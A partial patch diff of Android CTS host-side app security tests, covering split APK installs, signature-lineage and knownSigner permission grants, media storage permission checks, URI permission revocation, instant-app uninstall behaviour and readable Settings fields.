+        runDeviceTests(getDevice(), null, pkgName, testClassName, testMethodName, null,
+                10 * 60 * 1000L, 10 * 60 * 1000L, 0L, true, false, instrumentationArgs);
+    }
+
+    private Map<String, String> makeOtherUserIdArgs(int otherUser) {
+        Map<String, String> args = new HashMap<>();
+        args.put("other_user_id", Integer.toString(otherUser));
+        return args;
+    }
+
+    private void forceStopPackage(String packageName) throws Exception {
+        getDevice().executeShellCommand("am force-stop " + packageName);
+    }
+
+    private void reboot() throws Exception {
+        getDevice().reboot();
+        waitForBootCompleted(getDevice());
+    }
+
+    private void installExistingAppAsUser(String packageName, int userId) throws Exception {
+        final String installString =
+                "Package " + packageName + " installed for user: " + userId + "\n";
+        assertEquals(installString, getDevice().executeShellCommand(
+                "cmd package install-existing --full"
+                        + " --user " + Integer.toString(userId)
+                        + " " + packageName));
+    }
+
+    private static void assumeThatFuseDataIsolationIsEnabled(ITestDevice device)
+            throws DeviceNotAvailableException {
+        assumeThat(device.executeShellCommand(
+                "getprop persist.sys.vold_app_data_isolation_enabled").trim(),
+                is("true"));
+    }
+
+    private boolean isFbeModeEmulated() throws Exception {
+        String mode = getDevice().executeShellCommand("sm get-fbe-mode").trim();
+        if (mode.equals(FBE_MODE_EMULATED)) {
+            return true;
+        } else if (mode.equals(FBE_MODE_NATIVE)) {
+            return false;
+        }
+        fail("Unknown FBE mode: " + mode);
+        return false;
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 3bea273..92f4de5 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -23,6 +23,7 @@
 
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
+import android.platform.test.annotations.RestrictedBuildTest;
 import android.platform.test.annotations.SecurityTest;
 
 import com.android.ddmlib.Log;
@@ -187,7 +188,11 @@
     /**
      * Test that an app cannot instrument another app that is signed with different certificate.
      */
-    @Test
+    // RestrictedBuildTest ensures the build only runs on user builds where the signature
+    // verification will be performed, but JUnit4TestNotRun reports the test will not be run because
+    // the method does not have the @Test annotation.
+    @SuppressWarnings("JUnit4TestNotRun")
+    @RestrictedBuildTest
     @AppModeFull(reason = "'full' portion of the hostside test")
     public void testInstrumentationDiffCert_full() throws Exception {
         testInstrumentationDiffCert(false, false);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
index cd43821..ebad33c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
@@ -16,6 +16,8 @@
 
 package android.appsecurity.cts;
 
+import android.platform.test.annotations.SecurityTest;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -144,6 +146,13 @@
         }
     }
 
+    @SecurityTest
+    public void testAfterMoveDocumentInStorage_revokeUriPermission() throws Exception {
+        runDeviceTests(CLIENT_PKG, ".DocumentsClientTest",
+                "testAfterMoveDocumentInStorage_revokeUriPermission");
+
+    }
+
     private boolean isAtLeastR() {
         try {
             String apiString = getDevice().getProperty("ro.build.version.sdk");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index 72de9bb..397a7fc 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -17,13 +17,12 @@
 package android.appsecurity.cts;
 
 import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
 
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.SecurityTest;
 
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -511,6 +510,35 @@
                 "testFullApplicationReadFile");
     }
 
+    @Test
+    public void testGetChangedPackages() throws Throwable {
+        if (mIsUnsupportedDevice) {
+            return;
+        }
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), NORMAL_PKG, TEST_CLASS,
+                "testGetChangedPackages");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), EPHEMERAL_1_PKG, TEST_CLASS,
+                "testGetChangedPackages");
+    }
+
+    @Test
+    public void uninstall_userInstalledApp_shouldBeUserInitiated() throws Throwable {
+        assumeFalse("Device does not support instant app", mIsUnsupportedDevice);
+        installEphemeralApp(EPHEMERAL_1_APK, NORMAL_PKG);
+
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), NORMAL_PKG, TEST_CLASS,
+                "uninstall_userInstalledApp_shouldBeUserInitiated");
+    }
+
+    @Test
+    public void uninstall_pruneInstantApp_shouldNotBeUserInitiated()
+            throws Throwable {
+        assumeFalse("Device does not support instant app", mIsUnsupportedDevice);
+
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), NORMAL_PKG, TEST_CLASS,
+                "uninstall_pruneInstantApp_shouldNotBeUserInitiated");
+    }
+
     private static final HashMap<String, String> makeArgs(
             String action, String category, String mimeType) {
         if (action == null || action.length() == 0) {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index 5c26531..59e6838 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -24,9 +24,9 @@
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
-import com.android.server.role.RoleManagerServiceDumpProto;
-import com.android.server.role.RoleProto;
-import com.android.server.role.RoleUserStateProto;
+import com.android.role.RoleProto;
+import com.android.role.RoleServiceDumpProto;
+import com.android.role.RoleUserStateProto;
 import com.android.tradefed.device.CollectingByteOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -476,19 +476,15 @@
     }
 
     @Test
-    public void testMediaSandboxed() throws Exception {
-        doMediaSandboxed(MEDIA, true);
+    public void testMediaLegacy28() throws Exception {
+        doMediaLegacy(MEDIA_28);
     }
     @Test
-    public void testMediaSandboxed28() throws Exception {
-        doMediaSandboxed(MEDIA_28, false);
-    }
-    @Test
-    public void testMediaSandboxed29() throws Exception {
-        doMediaSandboxed(MEDIA_29, false);
+    public void testMediaLegacy29() throws Exception {
+        doMediaLegacy(MEDIA_29);
     }
 
-    private void doMediaSandboxed(Config config, boolean sandboxed) throws Exception {
+    private void doMediaLegacy(Config config) throws Exception {
         installPackage(config.apk);
         installPackage(MEDIA_29.apk);
         // Make sure user initialization is complete before updating permission
@@ -506,17 +502,45 @@
             // Create the files needed for the test from MEDIA_29 pkg since shell
             // can't access secondary user's storage.
             runDeviceTests(MEDIA_29.pkg, MEDIA_29.clazz, "testStageFiles", user);
-
-            if (sandboxed) {
-                runDeviceTests(config.pkg, config.clazz, "testSandboxed", user);
-            } else {
-                runDeviceTests(config.pkg, config.clazz, "testNotSandboxed", user);
-            }
-
+            runDeviceTests(config.pkg, config.clazz, "testLegacy", user);
             runDeviceTests(MEDIA_29.pkg, MEDIA_29.clazz, "testClearFiles", user);
         }
     }
 
+
+    @Test
+    public void testGrantUriPermission() throws Exception {
+        doGrantUriPermission(MEDIA, "testGrantUriPermission", new String[]{});
+        doGrantUriPermission(MEDIA, "testGrantUriPermission",
+                new String[]{PERM_READ_EXTERNAL_STORAGE});
+        doGrantUriPermission(MEDIA, "testGrantUriPermission",
+                new String[]{PERM_READ_EXTERNAL_STORAGE, PERM_WRITE_EXTERNAL_STORAGE});
+    }
+
+    @Test
+    public void testGrantUriPermission29() throws Exception {
+        doGrantUriPermission(MEDIA_29, "testGrantUriPermission", new String[]{});
+        doGrantUriPermission(MEDIA_29, "testGrantUriPermission",
+                new String[]{PERM_READ_EXTERNAL_STORAGE});
+        doGrantUriPermission(MEDIA_29, "testGrantUriPermission",
+                new String[]{PERM_READ_EXTERNAL_STORAGE, PERM_WRITE_EXTERNAL_STORAGE});
+    }
+
+    private void doGrantUriPermission(Config config, String method, String[] grantPermissions)
+            throws Exception {
+        uninstallPackage(config.apk);
+        installPackage(config.apk);
+        for (int user : mUsers) {
+            // Over revoke all permissions and grant necessary permissions later.
+            updatePermissions(config.pkg, user, new String[] {
+                    PERM_READ_EXTERNAL_STORAGE,
+                    PERM_WRITE_EXTERNAL_STORAGE,
+            }, false);
+            updatePermissions(config.pkg, user, grantPermissions, true);
+            runDeviceTests(config.pkg, config.clazz, method, user);
+        }
+    }
+
     @Test
     public void testMediaNone() throws Exception {
         doMediaNone(MEDIA);
@@ -595,6 +619,24 @@
     }
 
     @Test
+    public void testMediaEscalation_RequestWriteFilePathSupport() throws Exception {
+        // Not adding tests for MEDIA_28 and MEDIA_29 as they need W_E_S for write access via file
+        // path for shared files, and will always have access as they have W_E_S.
+        installPackage(MEDIA.apk);
+
+        int user = getDevice().getCurrentUser();
+        updatePermissions(MEDIA.pkg, user, new String[] {
+                PERM_READ_EXTERNAL_STORAGE,
+        }, true);
+        updatePermissions(MEDIA.pkg, user, new String[] {
+                PERM_WRITE_EXTERNAL_STORAGE,
+        }, false);
+
+        runDeviceTests(MEDIA.pkg, MEDIA.clazz, "testMediaEscalation_RequestWriteFilePathSupport",
+                user);
+    }
+
+    @Test
     public void testMediaEscalation() throws Exception {
         doMediaEscalation(MEDIA);
     }
@@ -686,8 +728,8 @@
     }
 
     private List<RoleUserStateProto> getAllUsersRoleStates() throws Exception {
-        final RoleManagerServiceDumpProto dumpProto =
-                getDump(RoleManagerServiceDumpProto.parser(), "dumpsys role --proto");
+        final RoleServiceDumpProto dumpProto =
+                getDump(RoleServiceDumpProto.parser(), "dumpsys role --proto");
         final List<RoleUserStateProto> res = new ArrayList<>();
         for (RoleUserStateProto userState : dumpProto.getUserStatesList()) {
             for (int i : mUsers) {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
index 4ed56d4..990500a 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
@@ -25,6 +25,8 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.FileNotFoundException;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class IsolatedSplitsTests extends BaseAppSecurityTest {
     private static final String PKG = "com.android.cts.isolatedsplitapp";
@@ -44,6 +46,15 @@
     private static final String APK_FEATURE_B_pl = "CtsIsolatedSplitAppFeatureB_pl.apk";
     private static final String APK_FEATURE_C = "CtsIsolatedSplitAppFeatureC.apk";
     private static final String APK_FEATURE_C_pl = "CtsIsolatedSplitAppFeatureC_pl.apk";
+    private static final String APK_FEATURE_A_DiffRev = "CtsIsolatedSplitAppFeatureADiffRev.apk";
+
+    private static final String APK_BASE_WITHOUT_EXTRACTING = APK_BASE;
+    private static final String APK_BASE_WITH_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsTrue.apk";
+    private static final String APK_FEATURE_JNI_WITHOUT_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsFalseJni.apk";
+    private static final String APK_FEATURE_JNI_WITH_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsTrueJni.apk";
 
     @Before
     public void setUp() throws Exception {
@@ -92,21 +103,38 @@
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testInstallMissingDependency_full() throws Exception {
-        testInstallMissingDependency(false);
+    public void testInstallMissingDependency_usesSplit_full() throws Exception {
+        testInstallMissingDependency_usesSplit(false);
     }
 
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
-    public void testInstallMissingDependency_instant() throws Exception {
-        testInstallMissingDependency(true);
+    public void testInstallMissingDependency_usesSplit_instant() throws Exception {
+        testInstallMissingDependency_usesSplit(true);
     }
 
-    private void testInstallMissingDependency(boolean instant) throws Exception {
+    private void testInstallMissingDependency_usesSplit(boolean instant) throws Exception {
         new InstallMultiple(instant).addFile(APK_BASE).addFile(APK_FEATURE_B).runExpectingFailure();
     }
 
     @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testInstallMissingDependency_configForSplit_full() throws Exception {
+        testInstallMissingDependency_configForSplit(false);
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInstallMissingDependency_configForSplit_instant() throws Exception {
+        testInstallMissingDependency_configForSplit(true);
+    }
+
+    private void testInstallMissingDependency_configForSplit(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK_BASE).addFile(
+                APK_FEATURE_A_pl).runExpectingFailure();
+    }
+
+    @Test
     @AppModeFull(reason = "b/109878606; instant applications can't send broadcasts to manifest "
             + "receivers")
     public void testInstallOneFeatureSplit_full() throws Exception {
@@ -229,4 +257,124 @@
         Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
                 "shouldLoadFeatureCDefault");
     }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testSplitsInheritInstall_full() throws Exception {
+        testSplitsInheritInstall(false);
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testSplitsInheritInstall_instant() throws Exception {
+        testSplitsInheritInstall(true);
+    }
+
+    private void testSplitsInheritInstall(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK_BASE).addFile(APK_FEATURE_A).addFile(APK_FEATURE_B)
+                .addFile(APK_FEATURE_C).run();
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureADefault");
+
+        new InstallMultiple(instant).inheritFrom(PKG).addFile(APK_FEATURE_A_DiffRev).run();
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureADiffRevision");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testSplitsRemoved_full() throws Exception {
+        testSplitsRemoved(false);
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testSplitsRemoved_instant() throws Exception {
+        testSplitsRemoved(true);
+    }
+
+    private void testSplitsRemoved(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK_BASE).addFile(APK_FEATURE_A).addFile(APK_FEATURE_B)
+                .addFile(APK_FEATURE_C).run();
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureCDefault");
+
+        new InstallMultiple(instant).inheritFrom(PKG).removeSplit("feature_c").run();
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldNotFoundFeatureC");
+    }
+
+    private InstallMultiple configureInstallMultiple(boolean instant, String...apks)
+            throws FileNotFoundException {
+        InstallMultiple installMultiple = new InstallMultiple(instant);
+        for (String apk : apks) {
+            installMultiple.addFile(apk);
+        }
+        return installMultiple;
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseFalse_splitTrue_full()
+            throws Exception {
+        configureInstallMultiple(false, APK_BASE_WITHOUT_EXTRACTING,
+                APK_FEATURE_JNI_WITH_EXTRACTING).runExpectingFailure("INSTALL_FAILED_INVALID_APK");
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseFalse_splitTrue_instant()
+            throws Exception {
+        configureInstallMultiple(true, APK_BASE_WITHOUT_EXTRACTING,
+                APK_FEATURE_JNI_WITH_EXTRACTING).runExpectingFailure("INSTALL_FAILED_INVALID_APK");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseFalse_splitFalse_full()
+            throws Exception {
+        configureInstallMultiple(false, APK_BASE_WITHOUT_EXTRACTING,
+                APK_FEATURE_JNI_WITHOUT_EXTRACTING).run();
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseFalse_splitFalse_instant()
+            throws Exception {
+        configureInstallMultiple(true, APK_BASE_WITHOUT_EXTRACTING,
+                APK_FEATURE_JNI_WITHOUT_EXTRACTING).run();
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseTrue_splitTrue_full()
+            throws Exception {
+        configureInstallMultiple(false, APK_BASE_WITH_EXTRACTING,
+                APK_FEATURE_JNI_WITH_EXTRACTING).run();
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseTrue_splitTrue_instant()
+            throws Exception {
+        configureInstallMultiple(true, APK_BASE_WITH_EXTRACTING,
+                APK_FEATURE_JNI_WITH_EXTRACTING).run();
+
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseTrue_splitFalse_full()
+            throws Exception {
+        configureInstallMultiple(false, APK_BASE_WITH_EXTRACTING,
+                APK_FEATURE_JNI_WITHOUT_EXTRACTING).run();
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseTrue_splitFalse_instant()
+            throws Exception {
+        configureInstallMultiple(true, APK_BASE_WITH_EXTRACTING,
+                APK_FEATURE_JNI_WITHOUT_EXTRACTING).run();
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index 017787e..f532ff2 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -750,6 +750,85 @@
         Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasPerm");
     }
 
+    public void testInstallV3CommonSignerInLineageWithPermCap() throws Exception {
+        // If an APK requesting a signature permission has a common signer in the lineage with the
+        // APK declaring the permission, and that signer is granted the permission capability in
+        // the declaring APK, then the permission should be granted to the requesting app even
+        // if their signers have diverged.
+        assertInstallFromBuildSucceeds(
+                "v3-ec-p256-with-por_1_2_3-1-no-caps-2-default-declperm.apk");
+        assertInstallFromBuildSucceeds("v3-ec-p256-with-por_1_2_4-companion-usesperm.apk");
+        Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasPerm");
+    }
+
+    public void testInstallV3CommonSignerInLineageNoCaps() throws Exception {
+        // If an APK requesting a signature permission has a common signer in the lineage with the
+        // APK declaring the permission, but the signer in the lineage has not been granted the
+        // permission capability the permission should not be granted to the requesting app.
+        assertInstallFromBuildSucceeds("v3-ec-p256-with-por_1_2_3-no-caps-declperm.apk");
+        assertInstallFromBuildSucceeds("v3-ec-p256-with-por_1_2_4-companion-usesperm.apk");
+        Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasNoPerm");
+    }
+
+    public void testKnownSignerPermGrantedWhenCurrentSignerInResource() throws Exception {
+        // The knownSigner protection flag allows an app to declare other trusted signing
+        // certificates in an array resource; if a requesting app's current signer is in this array
+        // of trusted certificates then the permission should be granted.
+        assertInstallFromBuildSucceeds("v3-rsa-2048-decl-knownSigner-ec-p256-1-3.apk");
+        assertInstallFromBuildSucceeds("v3-ec-p256_3-companion-uses-knownSigner.apk");
+        Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasPerm");
+
+        // If the declaring app changes the trusted certificates on an update any requesting app
+        // that no longer meets the requirements based on its signing identity should have the
+        // permission revoked. This app update only trusts ec-p256_1 but the app that was previously
+        // granted the permission based on its signing identity is signed by ec-p256_3.
+        assertInstallFromBuildSucceeds("v3-rsa-2048-decl-knownSigner-str-res-ec-p256-1.apk");
+        Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasNoPerm");
+    }
+
+    public void testKnownSignerPermCurrentSignerNotInResource() throws Exception {
+        // If an app requesting a knownSigner permission does not meet the requirements for a
+        // signature permission and is not signed by any of the trusted certificates then the
+        // permission should not be granted.
+        assertInstallFromBuildSucceeds("v3-rsa-2048-decl-knownSigner-ec-p256-1-3.apk");
+        assertInstallFromBuildSucceeds("v3-ec-p256_2-companion-uses-knownSigner.apk");
+        Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasNoPerm");
+    }
+
+    public void testKnownSignerPermGrantedWhenSignerInLineageInResource() throws Exception {
+        // If an app requesting a knownSigner permission was previously signed by a certificate
+        // that is trusted by the declaring app then the permission should be granted.
+        assertInstallFromBuildSucceeds("v3-rsa-2048-decl-knownSigner-ec-p256-1-3.apk");
+        assertInstallFromBuildSucceeds("v3-ec-p256-with-por_1_2-companion-uses-knownSigner.apk");
+        Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasPerm");
+
+        // If the declaring app changes the permission to no longer use the knownSigner flag then
+        // any app granted the permission based on a signing identity from the set of trusted
+        // certificates should have the permission revoked.
+        assertInstallFromBuildSucceeds("v3-rsa-2048-declperm.apk");
+        Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasNoPerm");
+    }
+
+    public void testKnownSignerPermSignerInLineageMatchesStringResource() throws Exception {
+        // The knownSigner protection flag allows an app to declare a single known trusted
+        // certificate digest using a string resource instead of a string-array resource. This test
+        // verifies the knownSigner permission is granted to a requesting app if the single trusted
+        // cert is in the requesting app's lineage.
+        assertInstallFromBuildSucceeds("v3-rsa-2048-decl-knownSigner-str-res-ec-p256-1.apk");
+        assertInstallFromBuildSucceeds("v3-ec-p256-with-por_1_2-companion-uses-knownSigner.apk");
+        Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasPerm");
+    }
+
+    public void testKnownSignerPermSignerInLineageMatchesStringConst() throws Exception {
+        // The knownSigner protection flag allows an app to declare a single known trusted
+        // certificate digest using a string constant as the knownCerts attribute value instead of a
+        // resource. This test verifies the knownSigner permission is granted to a requesting app if
+        // the single trusted cert is in the requesting app's lineage.
+        assertInstallFromBuildSucceeds("v3-rsa-2048-decl-knownSigner-str-const-ec-p256-1.apk");
+        assertInstallFromBuildSucceeds("v3-ec-p256-with-por_1_2-companion-uses-knownSigner.apk");
+        Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasPerm");
+    }
+
     public void testInstallV3SigPermDoubleDefNewerSucceeds() throws Exception {
         // make sure that if an app defines a signature permission already defined by another app,
         // it successfully installs if the other app's signing cert is in its past signing certs and
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
index af9d4d2..9b0a243 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
@@ -108,7 +108,7 @@
         runDeviceTests(TEST_PKG, ".PrivilegedUpdateTest", "testPrivilegedAppPriorities");
     }
 
-    public void testPrivilegedAppUpgradePriorities() throws Exception {
+    public void testPrivilegedAppUpgradePrioritiesPreservedOnReboot() throws Exception {
         if (!isDefaultAbi()) {
             Log.w(TAG, "Skipping test for non-default abi.");
             return;
@@ -120,6 +120,10 @@
             assertNull(getDevice().installPackage(
                     mBuildHelper.getTestFile(SHIM_UPDATE_APK), true));
             runDeviceTests(TEST_PKG, ".PrivilegedUpdateTest", "testPrivilegedAppUpgradePriorities");
+
+            getDevice().reboot();
+
+            runDeviceTests(TEST_PKG, ".PrivilegedUpdateTest", "testPrivilegedAppUpgradePriorities");
         } finally {
             getDevice().uninstallPackage(SHIM_PKG);
         }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ReadableSettingsFieldsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ReadableSettingsFieldsTest.java
new file mode 100644
index 0000000..2ac25ee
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ReadableSettingsFieldsTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+
+import static org.junit.Assert.assertTrue;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+/**
+ * Test that:
+ * 1) all the public fields annotated with @Readable in Settings.Secure, Settings.System,
+ * Settings.Global classes are readable.
+ * 2) hidden fields added before S are also readable, via their raw Settings key String values.
+ * 3) public fields without the @Readable annotation will not be readable.
+ *
+ * Run with:
+ * atest android.appsecurity.cts.ReadableSettingsFieldsTest
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ReadableSettingsFieldsTest extends BaseAppSecurityTest {
+    private static final String TEST_PACKAGE = "com.android.cts.readsettingsfieldsapp";
+    private static final String TEST_CLASS = TEST_PACKAGE + ".ReadSettingsFieldsTest";
+    private static final String TEST_APK = "CtsReadSettingsFieldsApp.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        new InstallMultiple().addFile(TEST_APK).run();
+        assertTrue(getDevice().isPackageInstalled(TEST_PACKAGE));
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(TEST_PACKAGE);
+    }
+
+    @Test
+    public void testSecurePublicSettingsKeysAreReadable() throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testSecurePublicSettingsKeysAreReadable");
+    }
+
+    @Test
+    public void testSystemPublicSettingsKeysAreReadable() throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testSystemPublicSettingsKeysAreReadable");
+    }
+
+    @Test
+    public void testGlobalPublicSettingsKeysAreReadable() throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testGlobalPublicSettingsKeysAreReadable");
+    }
+
+    @Test
+    public void testSecureSomeHiddenSettingsKeysAreReadable() throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testSecureSomeHiddenSettingsKeysAreReadable");
+    }
+
+    @Test
+    public void testSystemSomeHiddenSettingsKeysAreReadable() throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testSystemSomeHiddenSettingsKeysAreReadable");
+    }
+
+    @Test
+    public void testGlobalSomeHiddenSettingsKeysAreReadable() throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testGlobalSomeHiddenSettingsKeysAreReadable");
+    }
+
+    //TODO(b/175024829): test that hidden keys without @Readable cannot be accessed
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
index 78d422f..628f8dd 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
@@ -112,9 +112,6 @@
                 deviceClearLskf();
             } finally {
                 removeTestPackages();
-
-                getDevice().rebootUntilOnline();
-                getDevice().waitForDeviceAvailable();
             }
         }
     }
@@ -159,9 +156,6 @@
                 deviceClearLskf();
             } finally {
                 removeTestPackages();
-
-                getDevice().rebootUntilOnline();
-                getDevice().waitForDeviceAvailable();
             }
         }
     }
@@ -217,9 +211,6 @@
                 deviceClearLskf();
             } finally {
                 removeTestPackages();
-
-                getDevice().rebootUntilOnline();
-                getDevice().waitForDeviceAvailable();
             }
         }
     }
@@ -277,9 +268,6 @@
                 deviceClearLskf();
             } finally {
                 removeTestPackages();
-
-                getDevice().rebootUntilOnline();
-                getDevice().waitForDeviceAvailable();
             }
         }
     }
